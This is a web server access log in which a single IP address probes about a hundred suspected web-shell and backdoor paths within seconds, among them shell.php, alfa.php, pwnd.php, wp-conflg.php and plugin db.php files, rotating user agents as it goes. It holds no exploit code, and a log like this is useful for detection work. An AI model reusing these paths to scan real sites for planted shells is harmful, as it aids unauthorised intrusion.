[05/Apr/2026:18:49:35 +0300] "GET /filemanager.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /function.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /wp-signup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /new.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /fm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /wp-blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /wp-l0gin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /default.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /dropdown.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /bs1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:35 +0300] "GET /ws.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /wp-api.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /bypass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /init.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /wp_wlx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /wp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /css.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /wp-header.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /gifclass.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /Marvins.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /wp-class.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /autoload_classmap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /web.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /radio.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /wp-good.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /wp-setup.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /top.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /ms-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /style.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:36 +0300] "GET /x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /wp-user.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /config.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /lock.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /special.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /webdb.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /file2.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /system_log.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /.alf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /as.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /cc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /info.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /atomlib.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /wp-links-opml.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /xp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /mar.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /wp-links.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:72.0) Gecko/20100101 Firefox/72.0" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /xl2023.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:49:37 +0300] "GET /1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /ini.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /wp-content.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /jp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /wp-atom.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /wp-mail.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /aa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /shell.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /hehe.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /filefuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /l.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /lv.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /ms-users.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /elp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /mariju.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.110 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /av.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /Simple.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:38 +0300] "GET /NewFile.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /error.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /wp-files.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /wp-themes.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /Sanskrit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /gm.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /memberfuns.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /infos.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /options-writing.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /options-reading.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /wp-atomx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /XxX.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /xex.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /wp-head.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /click.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /wp-admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /.tmb/doc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /wp-editor.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /js/js1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /blog.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:39 +0300] "GET /update/f35.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-content/hello.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-admin/maint/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /themes/zMousse/otuz1.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-content/edit-wolf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-content/plugins/ubh/up.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-admin/images/bootstrap.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /images/upload.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-content/plugins/seoplugins/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-content/themes/pridmag/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-content/plugins/linkpreview/db.php?u HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /modules/mod_simplefileuploadv1.3/elements/udd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-content/plugins/pwnd/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-content/plugins/pwnd-1/pwnd.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-admin/css/colors/midnight/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /vendor/phpunit/phpunit/src/Util/PHP/kill.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-includes/style-engine/worksec.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-admin/images/wp-conflg.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 146.70.123.188 - - [05/Apr/2026:18:49:40 +0300] "GET /wp-content/plugins/core-plugin/include.php HTTP/1.1" 301 795 "-" 